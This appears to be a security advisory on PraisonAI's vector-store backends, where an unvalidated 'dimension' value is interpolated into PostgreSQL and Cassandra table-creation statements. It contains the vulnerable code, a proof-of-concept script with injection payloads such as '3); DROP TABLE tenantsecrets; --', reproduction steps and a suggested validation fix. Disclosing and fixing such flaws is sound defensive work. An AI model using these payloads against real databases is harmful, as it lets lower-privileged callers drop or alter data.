Technical Details
The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.createcollection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.
src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: init() calls validateidentifier(schema, name="schema"), and tablename() calls validateidentifier(collection, name="collection name") before returning f"{self.schema}.praisonvec{collection}". However, PGVectorKnowledgeStore.createcollection() then executes:
python cur.execute(f""" CREATE TABLE IF NOT EXISTS {table} ( id VARCHAR(255) PRIMARY KEY, content TEXT, contenthash VARCHAR(64), createdat DOUBLE PRECISION, metadata JSONB, embedding vector({dimension}) ) """)
No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenantsecrets; -- reaches the SQL sent to cur.execute().
src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and createcollection() validates the collection name, but the vector column DDL uses:
python self.session.execute(f""" CREATE TABLE IF NOT EXISTS {name} ( id text PRIMARY KEY, content text, contenthash text, createdat double, embedding vector<float, {dimension}> ) """)
Passing a string such as 3>; DROP TABLE tenantsecrets; -- reaches the CQL sent to session.execute().
PoV
This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.
python #!/usr/bin/env python3 """Local PoV for vector-store dimension DDL interpolation.
The script imports PraisonAI's current source with fake PostgreSQL/Cassandra drivers, then records the SQL/CQL sent to the driver cursors. No database server is required; the assertion is that the real classes build executable DDL with an attacker-controlled dimension string. """
from future import annotations
import argparse import importlib import json import subprocess import sys import types from pathlib import Path from typing import Any
class SqlRecorder: def init(self) -> None: self.statements: list[dict[str, Any]] = []
def execute(self, statement: str, params: Any = None) -> None: normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines()) self.statements.append({"statement": normalized, "params": params})
def enter(self) -> "SqlRecorder": return self
def exit(self, exc: object) -> None: return None
class FakeConnection: def init(self, recorder: SqlRecorder) -> None: self.recorder = recorder
def cursor(self, args: Any, kwargs: Any) -> SqlRecorder: return self.recorder
def commit(self) -> None: return None
class FakePool: def init(self, recorder: SqlRecorder) -> None: self.conn = FakeConnection(recorder)
def getconn(self) -> FakeConnection: return self.conn
def putconn(self, conn: FakeConnection) -> None: return None
def closeall(self) -> None: return None
class FakeCassandraSession: def init(self, recorder: SqlRecorder) -> None: self.recorder = recorder self.keyspace: str | None = None
def execute(self, statement: str, params: Any = None) -> list[Any]: self.recorder.execute(statement, params) return []
def setkeyspace(self, keyspace: str) -> None: self.keyspace = keyspace
class FakeCluster: recorder: SqlRecorder
def init(self, args: Any, kwargs: Any) -> None: self.session = FakeCassandraSession(self.recorder)
def connect(self) -> FakeCassandraSession: return self.session
def shutdown(self) -> None: return None
def installfakepgdriver(recorder: SqlRecorder) -> None: psycopg2 = types.ModuleType("psycopg2") pool = types.ModuleType("psycopg2.pool") extras = types.ModuleType("psycopg2.extras")
pool.ThreadedConnectionPool = lambda args, kwargs: FakePool(recorder) # type: ignore[attr-defined] extras.RealDictCursor = object # type: ignore[attr-defined] psycopg2.pool = pool # type: ignore[attr-defined] psycopg2.extras = extras # type: ignore[attr-defined]
sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras
def installfakecassandradriver(recorder: SqlRecorder) -> None: cassandra = types.ModuleType("cassandra") cluster = types.ModuleType("cassandra.cluster") auth = types.ModuleType("cassandra.auth")
FakeCluster.recorder = recorder cluster.Cluster = FakeCluster # type: ignore[attr-defined] auth.PlainTextAuthProvider = lambda args, kwargs: object() # type: ignore[attr-defined]
sys.modules["cassandra"] = cassandra sys.modules["cassandra.cluster"] = cluster sys.modules["cassandra.auth"] = auth
def gitvalue(sourceroot: Path, args: str) -> str: return subprocess.checkoutput(["git", args], cwd=sourceroot, text=True).strip()
def tryinvalidcollection(store: Any) -> str: try: store.createcollection("docs; DROP TABLE blocked; --", 3) except Exception as exc: # noqa: BLE001 - output records exact guard behavior. return f"{type(exc).name}: {exc}" return "accepted"
def runpgvector(sourceroot: Path) -> dict[str, Any]: recorder = SqlRecorder() installfakepgdriver(recorder) sys.path.insert(0, str(sourceroot / "src" / "praisonai")) mod = importlib.importmodule("praisonai.persistence.knowledge.pgvector") store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", autocreateextension=False)
invalidcollection = tryinvalidcollection(store) recorder.statements.clear() store.createcollection("docs", 3) safestatements = list(recorder.statements)
recorder.statements.clear() payload = "3); DROP TABLE tenantsecrets; --" store.createcollection("docs", payload) maliciousstatements = list(recorder.statements)
return { "payload": payload, "invalidcollectioncontrol": invalidcollection, "safecontainsdroptable": "DROP TABLE" in json.dumps(safestatements), "maliciouscontainsdroptable": "DROP TABLE tenantsecrets" in json.dumps(maliciousstatements), "safestatements": safestatements, "maliciousstatements": maliciousstatements, }
def runcassandra(sourceroot: Path) -> dict[str, Any]: recorder = SqlRecorder() installfakecassandradriver(recorder) sys.path.insert(0, str(sourceroot / "src" / "praisonai")) mod = importlib.importmodule("praisonai.persistence.knowledge.cassandra") store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonaisafe")
invalidcollection = tryinvalidcollection(store) recorder.statements.clear() store.createcollection("docs", 3) safestatements = list(recorder.statements)
recorder.statements.clear() payload = "3>; DROP TABLE tenantsecrets; --" store.createcollection("docs", payload) maliciousstatements = list(recorder.statements)
return { "payload": payload, "invalidcollectioncontrol": invalidcollection, "safecontainsdroptable": "DROP TABLE" in json.dumps(safestatements), "maliciouscontainsdroptable": "DROP TABLE tenantsecrets" in json.dumps(maliciousstatements), "safestatements": safestatements, "maliciousstatements": maliciousstatements, }
def main() -> None: parser = argparse.ArgumentParser() parser.addargument("--source-root", type=Path, default=Path.cwd()) args = parser.parseargs() sourceroot = args.sourceroot.resolve()
output = { "source": { "repository": "MervinPraison/PraisonAI", "head": gitvalue(sourceroot, "rev-parse", "HEAD"), "describe": gitvalue(sourceroot, "describe", "--tags", "--always", "--dirty"), }, "pgvector": runpgvector(sourceroot), "cassandra": runcassandra(sourceroot), }
assert output["pgvector"]["invalidcollectioncontrol"].startswith("ValueError:"), output assert output["cassandra"]["invalidcollectioncontrol"].startswith("ValueError:"), output assert output["pgvector"]["safecontainsdroptable"] is False, output assert output["cassandra"]["safecontainsdroptable"] is False, output assert output["pgvector"]["maliciouscontainsdroptable"] is True, output assert output["cassandra"]["maliciouscontainsdroptable"] is True, output
print(json.dumps(output, indent=2, sortkeys=True))
if name == "main": main()
PoC
Save the PoV script above as povvectordimensionddlinjection.py, then reproduce against current head:
bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 povvectordimensionddlinjection.py --source-root .
Decisive PGVector output:
json { "pgvector": { "invalidcollectioncontrol": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safecontainsdroptable": false, "maliciouscontainsdroptable": true, "maliciousstatements": [ { "statement": "CREATE TABLE IF NOT EXISTS public.praisonvecdocs (... embedding vector(3); DROP TABLE tenantsecrets; --) ...)" } ] } }
Decisive Cassandra output:
json { "cassandra": { "invalidcollectioncontrol": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores", "safecontainsdroptable": false, "maliciouscontainsdroptable": true, "maliciousstatements": [ { "statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenantsecrets; --> ...)" } ] } }
The local controls also showed safe integer dimensions produce embedding vector(3) and embedding vector<float, 3> without DROP TABLE, while malicious collection names are rejected before driver execution.
Impact
This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.
Suggested Fix
Validate dimension before constructing DDL in every backend that uses it. Prefer a shared helper at the KnowledgeStore.createcollection() boundary plus backend-level defense in depth:
python def validatevectordimension(value: object) -> int: if isinstance(value, bool) or not isinstance(value, int): raise ValueError("dimension must be an integer") if value <= 0 or value > 200000: raise ValueError("dimension is outside the supported range") return value
Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as 3); DROP TABLE x; -- and 3>; DROP TABLE x; -- raise before any driver execute() call, alongside the existing malicious collection-name tests.
Affected Package/Versions
Affected package: praisonai.
The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at v3.10.0, v4.5.128, v4.6.59, v4.6.62, v4.6.63, v4.6.64, and current main commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. A conservative affected range is praisonai >= 3.10.0, <= 4.6.64 plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.
Advisory History
Repository security advisories were checked on 2026-06-19. The closest public advisory is GHSA-3643-7v76-5cj2, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are embedding vector({dimension}) and embedding vector<float, {dimension}>, and the issue remains after the identifier hardening.
Other checked comparators include conversation-store tableprefix SQL injection advisories (GHSA-rg3h-x3jw-7jm5, GHSA-x783-xp3g-mqhp) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.
References
- src/praisonai/praisonai/persistence/knowledge/pgvector.py - src/praisonai/praisonai/persistence/knowledge/cassandra.py - src/praisonai/praisonai/persistence/knowledge/base.py - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp
PraisonAI versions before 4.6.78 contain a code injection vulnerability in deploy/api.py where the agentsfile parameter is directly interpolated into an f-string without sanitization. Attackers can inject arbitrary Python code that executes when the generated server code runs via subprocess.Popen().